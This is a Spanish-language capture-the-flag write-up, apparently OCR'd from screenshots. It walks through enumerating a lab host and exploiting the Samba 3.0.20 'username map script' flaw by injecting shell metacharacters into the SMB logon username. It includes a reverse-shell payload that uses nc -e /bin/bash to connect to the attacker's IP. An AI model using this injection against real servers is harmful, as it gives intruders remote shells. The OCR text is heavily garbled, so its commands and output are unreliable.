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Topics
- Samba version 3.0.20 Execution of commands through authentication (administrator user)

Enumeracion y reconocimiento

Iniciamos verificando conectividad con el host destino

Sping -¢ 1 10.10.10.3

Oms

Iniciare con el escaneo de puertos con NMAP

Snmap -p- --open -sCV -n -VWVVVVVVVWWWWYYWYYY --min-rate 5000 -oN Ports 10.10.10.3

to defeat-rst-ratelimit
[ R \ A (
1/tcp open syn-ack ttl 63 vsftpd
- e A iy s FTP login allowed (FTP code
Ttp-syst
STAT
FTP server status
e d to 10.10.16.14
in as ftp
IT
session bandwidth limit
n timeout in seconds is
ol connection is plain text
DERE! connectLons will be plain text
4 secure, fast, stable

open ssh syn-ack ttl 63 OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0

ssh-dss AAAAB3 060qV8xwBGOIC+jI7fWxmSMETIJHAtKr yUTwsTYEYnaZ
KaOJuSIkSUa]nUSonYSrSSsBu DA ) mdFQTF oRanSHVU?Z hjSwAAAIBCQxNKz11TyP+QJIFe
7 9711EaLeJLqTLWIAcoklqSWyDOJAAAAIA11ADE¥WYkeIeHv R3
IRLll F+bkUeFKrBx,/D2fdfZmhrGg

AAAABIWAAAQEAstq 3WTEjP4TUd]jgWkIVNd
(ZW++4X1c63M4KI5cjvMMIPEVOYR3AKmI78Fo3HIjYucg8
e5cnQew
tcp open netbios-ssnisyn-ack ttl nba 4. X (workgroup
tcp open netbios-ssnisyn-ack ttl 5 o
tcp open distccd syn-ack ttl J) 4.2.4 {(Ubuntu 4.2.4 1ubuntu4))
e r STty tnux; CPE: cpe:/o:linux linux_kelnel

Tenemos 21/tcp 22/tcp 139/tcp 445/tcp 3632/tcp

Intentando listar recursos por el puerto 21 FTP, no logro obtener algin recurso que me estén
compartiendo.
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Realizare un reconocimiento por SMB con la herramienta smbclient tratando listar recursos
compartidos a nivel de red

» smbclient -L 10.1¢
ycol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED

No da un error a intentar recursos por lo cual buscare ese problema en la web y veamos que
encontramos.

https://askubuntu.com/questions/1318311/samba-accessing-lan-shared-folders-troubleshooting

1 respuesta ( I T (predeterminado)

staba en
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Por la descripcidon vamos a utilizar la banderilla —option="client min protocol=NT1’

Veo que existe una versién de samba 3.0.20 por lo cual vere antes de listar recursos si existe alguna
Vuln para esta version.

Veo que existe una de metasploit command execution
Vamos a echarle un ojo

def exploit

)
timvi(username, rand_text(16), datastore[ 'SMBDomain'], false)

d or it didn't ;)

handler

Este mddulo explota una vulnerabilidad de ejecucion de comandos en Samba versiones 3.0.20 a
3.0.25rc3 cuando se usa el no predeterminado Opcidon de configuracion "script de mapa de
nombre de usuario". Especificando un nombre de usuario que contienen metacaracteres de shell,
los atacantes pueden ejecutar arbitrariamente comandos.

Ahora que sabemos un poco acerca de como es que un atacante obtiene ejecucion remota de
comandos, vamos a la prueba de concepto

Raptor-Attack



15-jun.-23

Explotacion

Primero intentaremos autenticarnos con smbclient

ok

smb:

Ahora realizaremos la autenticacion con el comando logon y le pasaremos los metacaracteres
como usuario y después el payload que va a ser nuestro comando, primero vere si recibo una traza
icmp mandada a un servidor que me montare con python3

“nohup ping -c 1 1@ 16.14

TUS_LOGON_FAILURE

length 84)

to ICMP (1), length 84)

Sabiendo que tengo la capacidad de ejecucién remota de comandos, me entablare una reverse
shell y ganare acceso a la maquina.
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Con nc me pondré en escucha por el puerto 4444 y me mandare una shell a mi maquina de

atacante.

Logon "/="nohup nc -e /bin/bash 10.10.16.14 4444 ""

command RCE

4]'%}nm (U

PWNED
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